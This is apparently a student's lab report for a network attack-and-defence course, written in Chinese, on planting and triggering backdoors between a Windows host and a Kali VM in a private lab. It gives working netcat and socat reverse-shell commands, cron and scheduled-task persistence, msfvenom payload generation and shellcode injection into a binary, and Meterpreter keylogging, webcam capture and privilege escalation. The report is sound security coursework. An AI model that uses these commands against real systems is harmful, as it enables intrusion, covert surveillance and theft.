20222312 2024-2025-1 《网络与系统攻防技术》实验二实验报告
- 基础问题
1.1 例举你能想到的一个后门进入到你系统中的可能方式?
在网络上点击了不明链接导致被植入后门
1.2 例举你知道的后门如何启动起来(win及linux)的方式?
Win:任务计划程序,设置开机自启动,安装伪装成服务,和其他文件捆绑,利用powershell。
Linux:通过cron指令制定任务来启动程序、各种脚本,和其他文件捆绑。
1.3 Meterpreter有哪些给你印象深刻的功能?
可以直接通过摄像头获取照片,还能直接获取键盘记录
1.4 如何发现自己有系统有没有被安装后门?
检查是否有不常用端口开放;
检查是否有系统文件被修改;
检查是否有可疑程序被执行;
观察系统运行速度和内存有没有明显变化;
观察注册表等。
2. 实验总结与体会
后门的定义首先就引起了我的深思。后门是一种软件或硬件中故意留下的功能,通过它攻击者可以绕过正常的认证或安全控制,直接访问系统、数据或功能。这种故意留下的漏洞充满了争议性,它既是保护系统安全的一大威胁,同时也暗示着任何系统都可能存在未被察觉的弱点。
通过深入研究后门的种类、创建方式、利用手法以及防御手段,我认识到网络安全是一个复杂而持续的战场。后门不仅可以被国家级的黑客利用来进行间谍活动或网络攻击,也可以被普通的黑客用来盗取个人数据、破坏企业的信息系统等。这强化了我对于软件的安全设计、代码审计及定期更新的重要性的理解。
通过这次实验,我深刻体会到了“知己知彼,百战不殆”的重要性。在了解和实践后门原理的同时,我也认识到了作为一名技术人员,我有责任和义务确保自己的技术知识被用于正当的用途,用以创建更安全、更可靠的软件和系统。这次实验不仅仅是技术技能的锻炼,更是思维方式和职业道德的一次成长。
Live and learn
- 实践过程记录
3.0 环境准备
为了方便之后实验中后门程序的运行,提前关闭Windows主机上的杀毒软件和防火墙。
3.0.1 获取IP地址
因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址。
在windows和虚拟机中分别输入指令得到ip地址
3.0.2 ncat、socat、Meterpreter基础知识
ncat
ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。ncat可用来做端口扫描、端口转发、连接远程系统等。
参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息
-vv:显示端口更详细的信息
socat
socat可以看做是 Netcat 的加强版。Socat的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
功能:端口转发、端口映射、端口监听、tcp/udp连接、文件传送、nat映射、使用openssl加密传输
Meterpreter
Meterpreter号称“黑客瑞士军刀”,首先他有五大模块功能:渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大
3.1 使用netcat获取主机操作Shell,cron启动
3.1.1 Windows获取Linux Shell
本实验使用的端口号均为4308
Windows用命令 ncat.exe -l -p 4308 监听4308端口,等待其他机器连接该端口。
kali使用命令 nc 192.168.126.132 4308 -e /bin/sh 反弹连接Windows,提供自己的shell(192.168.126.132为Win的IP)
Windows获得了linux的shell,可以执行linux的相关命令,例whoami,如图。
3.1.2 Linux获取Windows Shell
与上面的步骤相似,在linux中用命令 nc -l -p 4308 设置监听本地4308端口。Windows使用命令
ncat.exe -e cmd.exe 192.168.10.1 4308
反弹连接linux,提供自己的shell。(192.168.10.1为攻击者Linux的IP地址)
linux获得Windows的shell,可以执行相关命令,例dir
3.1.3 利用ncat可执行文件 传输数据
Linux监听4308端口 ncat.exe -l -p 4308
Windows连接Linux的4308端口 ncat.exe 192.168.10.1 4308
两台机器就可以互相传输信息了
3.2 使用socat获取主机操作Shell, 任务计划启动
3.2.1 Windows获取Linux Shell
先在Linux上编写一条定时任务,让反弹连接定时启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab指令增加一条定时任务;e表示编辑;输入2表示选择vim编辑器。
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command
用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“2”,利用vim编辑器进行编辑。
点击“i”进入编辑模式,在最后一行添加 45 * * * * /bin/netcat 192.168.126.132 4308 -e /bin/sh,意思是每小时的45分会反向连接Windows的4308端口。
按Esc键退出编辑模式,输入 :wq 保存并退出。
在Windows下,打开:控制面板->管理工具->任务计划程序,新建任务计划。
在操作选项中,选择“创建任务”,填写任务名称网络对抗技术实验2
新建操作,选择启动的程序为
socat.exe,参数项填写 tcp-listen:4302 exec:cmd.exe,pty,stderr
含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上。
创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。
在kali终端输入指令 socat - tcp:192.168.126.132:4308,此时Linux监听中
等待预定时间14:29,Windows启动任务,socat.exe运行
Linux获得Windows Shell
3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
3.3.1 生成后门
Kali命令行中输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.1 LPORT=4308 -f exe > 20222312zhx_backdoor.exe
1
注:这里设置的主机IP和端口均为linux的IP、端口
LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP
LPORT是回连端口
p 使用payload,payload翻译为有效载荷,就是被运输有东西。
windows/meterpreter/reverse_tcp是一段shellcode
f 生成文件的类型:exe
“>” 输出文件名:20222312zhx_backdoor.exe
配置监听模块
输入 exploit 运行模块;在Windows上运行后门程序20222312zhx_backdoor.exe
查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir等
3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
3.4.1 获取目标主机音频、摄像头、击键内容等内容
获取目标主机的音频和截屏内容
record_mic //音频
screenshot //截屏
使用命令 webcam_snap 可以获取摄像头所拍摄的照片
在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令
keyscan_dump ,就可以读取键盘记录
3.4.2 提权
先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。
3.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.126.132 LPORT=4308 -x /home/kali/20204308zhx_pwn2/pwn1 -f elf > 20222312_pwn生成以pwn1模板这个elf文件格式的shellcode文件20222312_pwn
输入指令msfconsole,进入msf命令行
在kali上运行后门文件20222312_pwn,在kali中执行文件前应先加权限 chmod +x 20222312_pwn
此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell,执行ls等命令。
- 遇到的问题及解决
1.在最后通过命令获取pwn1对应的执行文件时,一直无法得到,发现是我查询文件对应路径的命令出现错误,导致无法执行。再重现得到正确查询方式后成功执行。
2.在执行定时任务时一开始发现总是无法成功执行,在排查后发现是因为在编辑时出现了对应的格式错误导致文件出现错误,在重新进行修改后成功执行。